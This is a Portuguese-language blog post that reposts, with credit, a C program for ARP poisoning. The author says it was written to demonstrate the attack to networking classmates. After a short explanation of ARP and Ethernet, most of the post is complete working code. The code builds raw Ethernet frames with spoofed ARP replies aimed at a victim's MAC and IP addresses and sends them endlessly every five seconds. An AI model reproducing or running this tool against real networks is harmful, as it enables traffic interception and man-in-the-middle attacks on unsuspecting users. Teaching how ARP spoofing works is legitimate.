Atenção

Blog em construção... Se tiver sugestões, serão bem vindas !!!

domingo, 19 de maio de 2013

Exploit - ARP Poisoning em C


Créditos à: Romero Júnior.

blog.romerojunior.com/indice


Para começar a envolver um pouco de programação [direcionada a redes] nas postagens, resolvi começar com um exploit que escrevi a algumas noites atrás para demonstrar um ataque de ARP Poisoning para meus colegas de turma da Cisco Networking Academy.

O código é bastante simples e não usa mais do que qualquer distribuição Linux oferece por padrão em seu banco de “includes” (/usr/include/), nele iremos estabelecer comunicação direta com a nossa NIC, tratando assim de uma codificação low-level, o que pode parecer incomodo para alguns, mas não há nenhum bicho de sete cabeças, acreditem que a grande dificuldade é compreender o funcionamento de dois protocolos básicos, o primeiro deles [e mais óbvio] é o Address Resolution Protocol, que se encontra na camada 3 (assim como os protocolos IPv4 e IPv6), observe abaixo sua representação gráfica:
Logo abaixo dele se econtra o Ethernet (IEEE 802.3), não entrarei em muitos detalhes sobre o Ethernet e suas vertentes,  sua implementação [que se limitará ao seu header] independe de seu padrões específicos, abaixo segue sua representação gráfica:
O funcionamento do ARP é simples, e para encomizar palavras (e não roubar o foco da postagem, que de fato é a programação), abaixo segue uma ilustração que exemplifica o seu funcionamento:Finalmente, vamos ao que interessa! O código para explorar a vulnerabilidade nessa infraestrutura é o seguinte: [Compilado em Ubuntu 10.10, ECLIPSE IDE C/C++ (GCC)]




#include<stdio.h> #include<stdlib.h> #include<sys/socket.h> #include<features.h> #include<net/if.h> #include<linux/if_packet.h> #include<linux/if_ether.h> #include<errno.h> #include<sys/ioctl.h> #include<net/ethernet.h> #include<net/if_arp.h> #include<arpa/inet.h> #include<netinet/in.h> // por Romero Júnior em 01/10/2011 //* Definição das variáveis globais: char * SRC_ETHER_ADDR; char * DST_ETHER_ADDR; char * SRC_IP; char * DST_IP; char * INTERFACE; // Estrutura de dados do cabeçalho Ethernet: typedef struct EthernetHeader{ // Informações básicas sobre tipagem: // Unsigned char = 0 a 255 (ou 00 a FF) = 1 byte // Short (short integer) = 2 bytes unsigned char destination[6]; // 48 bits (endereço MAC de destino) unsigned char source[6]; // 48 bits (endereço MAC de origem) unsigned short protocol; // Exemplo: 0x0806 = ARP // 0x0800 = IPv4 // 0x88DD = IPv6 }EthernetHeader; // Estrutura de dados do cabeçalho ARP: typedef struct ArpHeader{ unsigned short hardware_type; // 2 bytes // Exemplo: 0x0001 = Ethernet unsigned short protocol_type; // 2 bytes // Exemplo: unsigned char hard_addr_len; // 1 byte unsigned char prot_addr_len; // 1 byte unsigned short opcode; // 2 bytes unsigned char source_hardware[6]; // 48 bits unsigned char source_ip[4]; // 32 bits unsigned char dest_hardware[6]; // 48 bits unsigned char dest_ip[4]; // 32 bits }ArpHeader; int CreateRawSocket(int protocol_to_use){ int rawsock; // int = 4 bytes (32 bits) // Básico sobre função "socket": // Se houver erros, retornará o valor -1. // PF_PACKET = trabalha a nivel da NIC // SOCK_RAW = dominio // htons = retorna o código do protocolo a ser usado. if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_use))) == -1){ perror("Erro ao criar raw socket: "); exit(-1); } return rawsock; } int BindRawSocketToInterface(char *device, int rawsock, int protocol){ // Crio duas estruturas baseadas no tipo sockaddr_ll e ifreq: struct sockaddr_ll sll; struct ifreq ifr; // Zero o conteudo delas, setando tudo para 00000(...) bzero(&sll, sizeof(sll)); bzero(&ifr, sizeof(ifr)); strncpy((char *)ifr.ifr_name, device, IFNAMSIZ); if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1){ perror("Erro ao associar o indice de interface!\n"); exit(-1); } // Associa o pacote a interface: sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(protocol); if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1){ perror("Erro ao associar o raw socket a interface!\n"); exit(-1); } return 1; } int SendRawPacket(int rawsock, unsigned char *pkt, int pkt_len){ int sent = 0; // A parte fácil: escrever no socket! if((sent = write(rawsock, pkt, pkt_len)) != pkt_len){ perror("Não foi possível enviar o socket!"); return 0; } return 1; } // Usando a estrutura previamente criada, vamos agora de fato criar a // função para gerar o nosso header Ethernet: EthernetHeader* CreateEthernetHeader(char *src_mac, char *dst_mac, int protocol){ EthernetHeader *ethernet_header; // Alocando dinamicamente espaço em memória para sua utilização: // (Apenas 1 simples bit alocado no espaço errado o trabalho será prejudicado!) ethernet_header = (EthernetHeader *)malloc(sizeof(EthernetHeader)); memcpy(ethernet_header->source, (void *)ether_aton(src_mac), 6); memcpy(ethernet_header->destination, (void *)ether_aton(dst_mac), 6); ethernet_header->protocol = htons(protocol); return (ethernet_header); } ArpHeader* CreateArpHeader(void){ ArpHeader *arp_header; in_addr_t temp; arp_header = (ArpHeader *)malloc(sizeof(struct ArpHeader)); arp_header->hardware_type = htons(ARPHRD_ETHER); // 0x0001 - Ethernet arp_header->protocol_type = htons(ETHERTYPE_IP); // 0x0800 - IPv4 arp_header->hard_addr_len = 6; arp_header->prot_addr_len = 4; arp_header->opcode = htons(ARPOP_REPLY); // 0x0002 - Reply memcpy(arp_header->source_hardware, (void *)ether_aton(SRC_ETHER_ADDR), 6); temp = inet_addr(SRC_IP); memcpy(&(arp_header->source_ip), &temp, 4); memcpy(arp_header->dest_hardware, (void *)ether_aton(DST_ETHER_ADDR), 6); temp = inet_addr(DST_IP); memcpy(&(arp_header->dest_ip), &temp, 4); return arp_header; } void error(){ printf("ARP Poisoning [interface][source IP][spoof mac address][mac da vitima][ip da vitima]"); exit(1); } main(int argc, char **argv){ int raw; unsigned char *packet; EthernetHeader *ethernet_header; ArpHeader *arp_header; int pkt_len; if(argv[1] == NULL){ error(); } if(argv[2] == NULL){ error(); } if(argv[3] == NULL){ error(); } if(argv[4] == NULL){ error(); } if(argv[5] == NULL){ error(); } INTERFACE = argv[1]; SRC_IP = argv[2]; SRC_ETHER_ADDR = argv[3]; DST_ETHER_ADDR = argv[4]; DST_IP = argv[5]; raw = CreateRawSocket(ETH_P_ALL); BindRawSocketToInterface(INTERFACE, raw, ETH_P_ALL); ethernet_header = CreateEthernetHeader(SRC_ETHER_ADDR, DST_ETHER_ADDR, ETHERTYPE_ARP); arp_header = CreateArpHeader(); pkt_len = sizeof(EthernetHeader) + sizeof(ArpHeader); packet = (unsigned char *)malloc(pkt_len); memcpy(packet, ethernet_header, sizeof(EthernetHeader)); memcpy((packet + sizeof(EthernetHeader)), arp_header, sizeof(ArpHeader)); //o grande momento: while(1){ if(!SendRawPacket(raw, packet, pkt_len)){ perror("Erro ao enviar pacote"); }else{ printf("ARP enviado com sucesso!\n"); } sleep(5); } free(ethernet_header); free(arp_header); free(packet); close(raw); return 0; }

Nenhum comentário:

Postar um comentário